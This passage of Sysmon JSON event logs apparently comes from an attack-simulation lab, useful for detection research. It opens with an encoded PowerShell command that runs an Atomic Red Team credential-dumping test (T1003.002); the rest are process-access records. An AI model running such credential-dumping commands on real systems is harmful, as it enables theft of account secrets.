WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5ad5ec|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010CF9E0700}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffb6fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5ad5ec|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010CF9E0700}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 